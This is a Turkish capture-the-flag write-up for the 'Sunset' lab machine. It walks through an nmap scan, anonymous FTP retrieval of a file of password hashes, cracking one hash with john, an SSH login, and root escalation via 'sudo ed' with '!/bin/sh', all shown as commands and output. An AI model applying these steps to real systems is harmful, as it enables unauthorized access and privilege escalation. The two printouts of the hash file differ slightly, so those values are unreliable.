

SUNSET WRITEUP

İlk olarak netdiscover ile network keşfi yapalım.

```
netdiscover -r 10.0.2.0/16
```

```
Currently scanning: 10.0.9.0/16 | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. | Total size: 240
+-----+-----+-----+-----+-----+-----+
| IP | At MAC Address | Count | Len | MAC Vendor / Hostname |
+-----+-----+-----+-----+-----+-----+
| 10.0.2.1 | 52:54:00:12:35:00 | 1 | 60 | Unknown vendor |
| 10.0.2.2 | 52:54:00:12:35:00 | 1 | 60 | Unknown vendor |
| 10.0.2.3 | 08:00:27:2f:f6:6f | 1 | 60 | PCS Systemtechnik GmbH |
| 10.0.2.7 | 08:00:27:be:a0:a3 | 1 | 60 | PCS Systemtechnik GmbH |
root@kali:~#
```

Şimdi hedefe yönelik nmap taraması gerçekleştirelim.

```
root@kali:~# nmap -sS -sV -sC -Pn 10.0.2.7
Starting Nmap 7.80 ( https://nmap.org ) at 2024-11-20 14:37 EST
Nmap scan report for 10.0.2.7 (10.0.2.7)
Host is up (0.00035s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      pyftplib 1.5.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--  1 root    root      1062 Jul 29  2019 backup
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to: 10.0.2.7:21
|   Waiting for username.
|   TYPE: ASCII; STRUCTure: File; MODE: Stream
|   Data connection closed.
|_End of status.
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
|   2048 71:bd:fa:c5:8c:88:7c:22:14:c4:20:03:32:36:05:d6 (RSA)
|   256 35:92:8e:16:43:0c:39:88:8e:83:0d:e2:2c:a4:65:91 (ECDSA)
|_  256 45:c5:40:14:49:cf:80:3c:41:4f:bb:22:6c:80:1e:fe (ED25519)
MAC Address: 08:00:27:BE:A0:A3 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
root@kali:~#
```

FTP servisine anonim olarak login olabildiğimizi görüyoruz. Şimdi ftp içerisinde ne varmış kontrol edelim.

```
root@kali:~# ftp 10.0.2.7
Connected to 10.0.2.7.
220 pyftplib 1.5.5 ready.
Name (10.0.2.7:root): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 Active data connection established.
125 Data connection already open. Transfer starting.
-rw-r--r--  1 root      root           1062 Jul 29  2019 backup
226 Transfer complete.
ftp> get backup
local: backup remote: backup
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
1062 bytes received in 0.00 secs (1.4067 MB/s)
ftp> █
```

Backup adında bir dosyanın varlığını keşfettik. Bu dosyayı ana makinemize indirelim.

```
root@kali:~# cat backup
CREDENTIALS:

office:$6$$9ZTYt.VI0M7cG9tVcPl.QZZi2XH0UZ9hLsiCr/avWTajSPHqws7.75I9Zjp4HwLN3Gvio5To4gjBdeDGzhq.X.
datacenter:$6$$3QW/J40lV3naFDbhuksxRXLRkR6iKo4gh.Zx1RfZC20INKMiJ/6Ffyl330FtBvCI7S4N1b8vLDylF2hG2N0NN/
sky:$6$$Ny8IwgIPYq5pHGZqyIXmoVRRmWydH7u2JbaTo.H2kNG7hFtR.pZb94.HjeTK1MLyBxw8PUeyzJszcwFh0qepG0
sunset:$6$406THujdiBTNu./R$NzquK0QRsbAUUSrHcpR2QrrLU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/
space:$6$$4NccGQWPfiyfGKHgyhJBgiadOlP/FM4.QwllyIWP28ABx.Yu0siRaikkU.4A1HKs9XLXtq8qFuC3W6SCE4Ltx/
root@kali:~# █
```

Dosya içerisinde hashlenmiş kullanıcı parolalarını görüyoruz. Bu hashlerde john aracı ile paroları bulmaya çalışalım.

```
root@kali:~# cat backup
CREDENTIALS:

office:$6$92YTy.VI0M7cG9tVcPL.QZZi2XH0UZ9hLsiCr/avWTajSPHqws7.75I9ZjP4HwLN3Gvio5To4gjBdeDGzhq.X.

datacenter:$6$3QW/J40lV3naFDbhuxsRXLRkR6iKo4gh.Zx1RfZC20INKMiJ/6Ffyl330ftBvCI7S4N1b8vLDylF2hG2N0NN/

sky:$6$Ny8IwgIPYq5pHGZqyIXmoVRRmWyDH7u2JbaTo.H2kNG7hFtR.pZb94.HjeTK1MLyBxw8PUeyzJszcwfH0qepG0

sunset:$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpr2QrrlU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/
space:$6$4NccGQWPfiyfGKHgyJBgiad0LP/FM4.QwliYIWP28ABX.Yu0s1Ra1KKU.4A1HKS9XLXtq8qFuC3W6SCE4Ltx/
root@kali:~#
```

Sunset kullanıcısının hashlenmiş parolasını alıp bir dosyaya kaydedelim.
Sonrasında john ile kırmayı deneyelim.

```
root@kali:~# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cheer14 (?)
1g 0:00:00:12 DONE (2024-11-20 14:42) 0.08210g/s 1145p/s 1145c/s 1145C/s goodman..garage
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~#
```

Kullanıcının parolasının cheer14 olduğunu bulduk. Şimdi ssh ile bağlanmayı deneyelim.

```
root@kali:~# ssh sunset@10.0.2.7
sunset@10.0.2.7's password:
Linux sunset 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 20 14:33:11 2024 from 10.0.2.5
sunset@sunset:~$ ls
user.txt
sunset@sunset:~$ cat user.txt
5b5b8e9b01ef27a1cc0a2d5fa87d7190
sunset@sunset:~$
```

User bayrağını almayı başardık. Şimdi root hesabına geçmeyi deneyelim.

```
sunset@sunset:~$ sudo -l
Matching Defaults entries for sunset on sunset:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sunset may run the following commands on sunset:
    (root) NOPASSWD: /usr/bin/ed
sunset@sunset:~$
```

/usr/bin/ed komutunu sudo yetkileri ile çalıştırabildiğimizi görüyoruz.

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo ed
!/bin/sh
```

Yukarıdaki komutlar ile root hesabına geçiş yapabiliriz.

```
sunset@sunset:~$ sudo /usr/bin/ed
?
!/bin/sh
# ls
user.txt
# cd /root
# ls
flag.txt ftp server.sh
# cat flag.txt
25d7ce0ee3cbf71efbac61f85d0c14fe
#
```

Root hesabına geçmeyi ve root bayrağını almayı başardık.